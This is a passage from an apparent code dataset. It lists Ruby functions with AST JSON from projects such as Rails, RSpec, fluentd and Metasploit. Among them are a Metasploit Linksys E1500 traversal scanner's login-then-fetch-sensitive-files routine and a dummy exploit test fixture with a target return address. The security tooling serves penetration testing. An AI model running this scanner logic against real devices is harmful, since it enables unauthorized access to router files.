'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HDR_BODY_CONF\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},\"ljust\",{\"type\":\"int\",\"children\":[21]}]}]},{\"type\":\"lvasgn\",\"children\":[\"warm_up_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WRK\"]}]},{\"type\":\"str\",\"children\":[\" -t2 -c4 -d1s --latency \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wrk_bind_str\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"run_wrk_parse\",{\"type\":\"lvar\",\"children\":[\"warm_up_cmd\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"30f64c37-0476-4f90-862f-9d987cf1fbe5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb","start_line":91,"raw_source":"def run_host(ip)\n    user = datastore['HttpUsername']\n    pass = datastore['HttpPassword']\n\n    vprint_status(\"#{rhost}:#{rport} - Trying to login with #{user} / #{pass}\")\n\n    # test login\n    begin\n      res = send_request_cgi({\n        'uri' => '/',\n        'method' => 'GET',\n        'authorization' => basic_auth(user, pass)\n      })\n\n      return if res.nil?\n      return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)\n      return if (res.code == 404)\n\n      if [200, 301, 302].include?(res.code)\n        vprint_good(\"#{rhost}:#{rport} - Successful login #{user}/#{pass}\")\n      else\n        vprint_error(\"#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}\")\n        return\n      end\n    rescue ::Rex::ConnectionError\n      vprint_error(\"#{rhost}:#{rport} - Failed to connect to the web server\")\n      return\n    end\n\n    extract_words(datastore['SENSITIVE_FILES']).each do |file|\n      find_files(file, user, pass) unless file.empty?\n    end\n  end","complexity_score":57.9,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Trying to login with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" / \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"httpd\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[301]},{\"type\":\"int\",\"children\":[302]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Successful login \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - No successful login possible with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to connect to the web server\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_words\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SENSITIVE_FILES\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"find_files\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]}","id":"c8efd88f-2d14-437f-abbf-6dc3503914ed"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_invalidation_test.rb","start_line":49,"raw_source":"def test_reload_cache_ids\n    Item.cache_has_many(:associated_records, embed: :ids)\n\n    assert_equal([@baz, @bar], @record.fetch_associated_records)\n    assert_equal([@baz, @bar], @record.associated_records)\n\n    @baz.destroy\n    @record.reload\n\n    assert_equal([@bar], @record.fetch_associated_records)\n    assert_equal([@bar], @record.associated_records)\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reload_cache_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"cache_has_many\",{\"type\":\"sym\",\"children\":[\"associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"sym\",\"children\":[\"ids\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@baz\"]},{\"type\":\"ivar\",\"children\":[\"@bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_associated_records\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@baz\"]},{\"type\":\"ivar\",\"children\":[\"@bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated_records\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@baz\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_associated_records\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated_records\"]}]}]}]}","id":"9f027e71-1b3c-4e02-881d-cf49667fa855"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/memoized_helpers.rb","start_line":222,"raw_source":"def self.fetch_or_store(key, &_block)\n          description = if key == :subject\n                          \"subject\"\n                        else\n                          \"let declaration `#{key}`\"\n                        end\n\n          raise <<-EOS\n#{description} accessed in #{article} #{hook_expression} hook at:\n  #{CallerFilter.first_non_rspec_line}\n\n`let` and `subject` declarations are not intended to be called\nin #{article} #{hook_expression} hook, as they exist to define state that\nis reset between each example, while #{hook_expression} exists to\n#{hook_intention}.\nEOS\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fetch_or_store\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"blockarg\",\"children\":[\"_block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},{\"type\":\"str\",\"children\":[\"subject\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"let declaration `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"str\",\"children\":[\" accessed in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook_expression\"]}]},{\"type\":\"str\",\"children\":[\" hook at:\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CallerFilter\"]},\"first_non_rspec_line\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"`let` and `subject` declarations are not intended to be called\\n\"]},{\"type\":\"str\",\"children\":[\"in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook_expression\"]}]},{\"type\":\"str\",\"children\":[\" hook, as they exist to define state that\\n\"]},{\"type\":\"str\",\"children\":[\"is reset between each example, while \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook_expression\"]}]},{\"type\":\"str\",\"children\":[\" exists to\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook_intention\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]}]}]}]}]}","id":"8c8a0ff4-efc2-42d9-8d15-0b770da9a644"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1693,"raw_source":"def test_form_for\n    form_for(@post, html: { id: \"create-post\" }) do |f|\n      concat f.label(:title) { \"The Title\" }\n      concat f.text_field(:title)\n      concat f.textarea(:body)\n      concat f.checkbox(:secret)\n      concat f.submit(\"Create post\")\n      concat f.button(\"Create post\")\n      concat f.button {\n        concat content_tag(:span, \"Create post\")\n      }\n    end\n\n    expected = whole_form(\"/posts/123\", \"create-post\", \"edit_post\", method: \"patch\") do\n      \"<label for='post_title'>The Title</label>\" \\\n      \"<input name='post[title]' type='text' id='post_title' value='Hello World' />\" \\\n      \"<textarea name='post[body]' id='post_body'>\\nBack to the hill and over it again!</textarea>\" \\\n      \"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\" \\\n      \"<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />\" \\\n      \"<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />\" \\\n      \"<button name='button' type='submit'>Create post</button>\" \\\n      \"<button name='button' type='submit'><span>Create post</span></button>\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"label\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"checkbox\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"submit\",{\"type\":\"str\",\"children\":[\"Create post\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"button\",{\"type\":\"str\",\"children\":[\"Create post\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"button\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"str\",\"children\":[\"Create post\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"str\",\"children\":[\"edit_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<label for='post_title'>The Title</label>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[title]' type='text' id='post_title' value='Hello World' />\"]},{\"type\":\"str\",\"children\":[\"<textarea name='post[body]' id='post_body'>\\nBack to the hill and over it again!</textarea>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />\"]},{\"type\":\"str\",\"children\":[\"<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />\"]},{\"type\":\"str\",\"children\":[\"<button name='button' type='submit'>Create post</button>\"]},{\"type\":\"str\",\"children\":[\"<button name='button' type='submit'><span>Create post</span></button>\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"9d208bb8-7eb6-49ec-bb7c-8d6dd8010a10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/file_fixtures/modules/exploits/single_target_exploit.rb","start_line":7,"raw_source":"def initialize(info = {})\n    super(update_info(info,\n                      'Name'           => 'Exploit With a Single Target',\n                      'Description'    => %q{ This module is a test bed for automatic targeting when there is only one target. },\n                      'Author'         => [ 'thelightcosine' ],\n                      'License'        => MSF_LICENSE,\n                      'Privileged'     => true,\n                      'DefaultOptions' =>\n                        {\n                          'WfsDelay'     => 10,\n                          'EXITFUNC' => 'thread'\n                        },\n                      'Payload'        =>\n                        {\n                          'Space'        => 3072,\n                          'DisableNops'  => true\n                        },\n                      'Platform'       => 'win',\n                      'Arch'           => [ARCH_X86, ARCH_X64],\n                      'Targets'        =>\n                        [\n                          ['Windows 2000 Universal',\n                           {\n                             'Ret'       => 0x001f1cb0,\n                             'Scratch'   => 0x00020408,\n                           }\n                          ], # JMP EDI SVCHOST.EXE\n                        ],\n                      'DisclosureDate' => '1999-01-01'\n          ))\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Exploit With a Single Target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\" This module is a test bed for automatic targeting when there is only one target. \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"thelightcosine\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[3072]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2038960]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Scratch\"]},{\"type\":\"int\",\"children\":[132104]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"1999-01-01\"]}]}]}]}]}]}","id":"a2b0cc69-14b9-4bfb-a581-dcddc6af010f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/engine.rb","start_line":181,"raw_source":"def reload_config(conf, supervisor: false)\n      @root_agent_mutex.synchronize do\n        # configure first to reduce down time while restarting\n        new_agent = RootAgent.new(log: log, system_config: @system_config)\n        ret = Fluent::StaticConfigAnalysis.call(conf, workers: system_config.workers)\n\n        ret.all_plugins.each do |plugin|\n          if plugin.respond_to?(:reloadable_plugin?) && !plugin.reloadable_plugin?\n            raise Fluent::ConfigError, \"Unreloadable plugin plugin: #{Fluent::Plugin.lookup_type_from_class(plugin.class)}, plugin_id: #{plugin.plugin_id}, class_name: #{plugin.class})\"\n          end\n        end\n\n        # Assign @root_agent to new root_agent\n        # for https://github.com/fluent/fluentd/blob/fcef949ce40472547fde295ddd2cfe297e1eddd6/lib/fluent/plugin_helper/event_emitter.rb#L50\n        old_agent, @root_agent = @root_agent, new_agent\n        begin\n          @root_agent.configure(conf)\n        rescue\n          @root_agent = old_agent\n          raise\n        end\n\n        unless @suppress_config_dump\n          $log.info :supervisor, \"using configuration file: #{conf.to_s.rstrip}\"\n        end\n\n        # supervisor doesn't handle actual data. so the following code is unnecessary.\n        if supervisor\n          old_agent.shutdown      # to close thread created in #configure\n          return\n        end\n\n        stop_phase(old_agent)\n\n        $log.info 'restart fluentd worker', worker: worker_id\n        start_phase(new_agent)\n      end\n    end","complexity_score":52.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reload_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]},{\"type\":\"kwoptarg\",\"children\":[\"supervisor\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_agent_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_agent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RootAgent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[null,\"log\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system_config\"]},{\"type\":\"ivar\",\"children\":[\"@system_config\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"StaticConfigAnalysis\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"system_config\"]},\"workers\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"all_plugins\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"reloadable_plugin?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"reloadable_plugin?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unreloadable plugin plugin: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"lookup_type_from_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"class\"]}]}]},{\"type\":\"str\",\"children\":[\", plugin_id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"plugin_id\"]}]},{\"type\":\"str\",\"children\":[\", class_name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_agent\"]},{\"type\":\"ivasgn\",\"children\":[\"@root_agent\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_agent\"]},{\"type\":\"lvar\",\"children\":[\"new_agent\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_agent\"]},\"configure\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root_agent\",{\"type\":\"lvar\",\"children\":[\"old_agent\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@suppress_config_dump\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"sym\",\"children\":[\"supervisor\"]},{\"type\":\"